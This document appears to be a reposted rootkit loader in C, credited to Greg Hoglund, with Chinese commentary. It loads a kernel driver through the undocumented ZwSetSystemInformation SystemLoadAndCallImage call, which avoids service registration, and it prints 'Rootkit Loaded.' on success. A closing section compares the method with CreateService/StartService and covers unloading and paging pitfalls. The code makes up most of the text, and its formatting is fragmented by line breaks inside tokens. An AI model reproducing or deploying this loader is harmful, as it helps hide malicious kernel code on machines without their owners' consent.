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// New Deployment Module for rootkit 040
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// -Greg Hoglund http://www.rootkit.com
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#include <windows.h>
#include <stdio.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
#else // MIDL_PASS
PWSTR Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS,
//否则一个unsigned的值总是不小于0,下面这个宏就会出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
//
// NTSTATUS (__stdcall *ZwSetSystemInformation)(
// IN DWORD SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength
//);
/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000
//Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
// NTSYSAPI
// NTSTATUS
// NTAPI
// ZwSetSystemInformation(
// IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
// IN OUT PVOID SystemInformation,
// IN ULONG SystemInformationLength);
//
//参数:
// SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个
// 子集,SystemLoadAndCallImage就是其中一个:
// typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class 38
// UNICODE_STRING ModuleName;
// }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
// 成员:
// Module:要加载模块的NATIVE NT格式的完整路径
//
// 备注:
// 这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载
到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参
数的__stdcall例程(与设备驱动程序的 // DriverEntry例程一致)。如果入
口点例程返回一个失败代码,则卸载模块。
//
//
SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
//
SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的
//
SystemInformationClass来设置它
//
*/
typedef VOID (__stdcall
*
tagRtlInitUnicodeString)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef unsigned
long
(__stdcall
*
tagZwSetSystemInformation)(
IN ULONG,
IN OUT LPVOID,
IN ULONG
);
tagRtlInitUnicodeString RtlInitUnicodeString
=
NULL;
tagZwSetSystemInformation ZwSetSystemInformation
=
NULL;
typedef
struct
_SYSTEM_LOAD_AND_CALL_IMAGE
{
UNICODE_STRING ModuleName;
} SYSTEM_LOAD_AND_CALL_IMAGE,
*
PSYSTEM_LOAD_AND_CALL_IMAGE;
#define
SystemLoadAndCallImage 38
void
main(
void
)
{
///////////////////////////////////////////////////////////////
//
Why mess with Drivers?
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SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;
WCHAR daPath[]
=
L
"
/??/d:/samplehello.sys
"
;
////////////////////////////////////////////////////////////
//
//
get DLL entry points
////////////////////////////////////////////////////////////
//
if
(
!
(RtlInitUnicodeString
=
(tagRtlInitUnicodeString) GetProcAddress( GetModuleHandle(
"
ntdll.dll
"
),
"
RtlInitUnicodeString
"
)) )
//
在ntdll.dll中获取RtlInitUnicodeString地址
exit(
1
);
if
(
!
(ZwSetSystemInformation
=
(tagZwSetSystemInformation) GetProcAddress( GetModuleHandle(
"
ntdll.dll
"
),
"
ZwSetSystemInformation
"
)) )
//
在ntdll.dll中获取ZwSetSystemInformation地址
exit(
1
);
RtlInitUnicodeString(
&
(GregsImage.ModuleName), daPath );
//
建立设备
if
( NT_SUCCESS( ZwSetSystemInformation( SystemLoadAndCallImage,
&
GregsImage,
sizeof
(SYSTEM_LOAD_AND_CALL_IMAGE)) ))
//
加载进内核空间
{
printf(
"
Rootkit Loaded.
"
);
}
else
{
printf(
"
Rootkit not loaded.
"
);
}
}
======使用此方法加载驱动的一些问题==
关于CreateService与SystemLoadAndCallImage的区别
几个众所周知的区别:
CreateService是一个文档化Win32 API,
而ZwSetSystemInformation是一个没有文档化的Native API
使用StartService加载的驱动需要注册,ZwSetSystemInformation则不用
ControlService提供停止驱动的服务,且驱动可以被系统自动的卸载;使用ZwSetSystemInformation的话,你就需要另外想办法来卸载驱动映像
一些容易被忽视的区别:
由StartService加载的驱动,执行DriverEntry时的进程上下文是System Process,而ZwSetSystemInformation的进程上下文是Current Process
StartService调用 ZwLoadDriver加载的驱动映像默认是不可分页的,ZwSetSystemInformation则正好相反。如果没有妥善处理这个细节上的问题,你的某些代码将可能在执行期间,由于调用线程的IRQL>PASSIVE_LEVEL兼代码页没有被换回物理内存而引发一个BSOD